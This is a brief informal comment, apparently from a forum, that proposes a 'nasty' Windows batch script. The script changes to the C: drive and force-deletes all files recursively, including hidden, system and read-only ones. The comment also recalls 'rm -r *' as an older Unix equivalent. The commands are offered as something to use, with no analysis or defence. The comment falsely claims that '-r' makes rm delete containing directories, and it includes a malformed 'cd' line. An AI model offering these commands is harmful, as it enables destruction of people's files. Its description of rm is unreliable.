Your urge is a bit gentle and mild. Why not

@echo off

cd c:c:

del * /f /s /q /a RHISAL *.*

Of course in the old days, before dos, the recommended nasty script was much simpler: just one line: rm -r * destroyed all the folders as well as the files in them, with -r making it attack not just subdirectories but also containing directories, on Unix systems.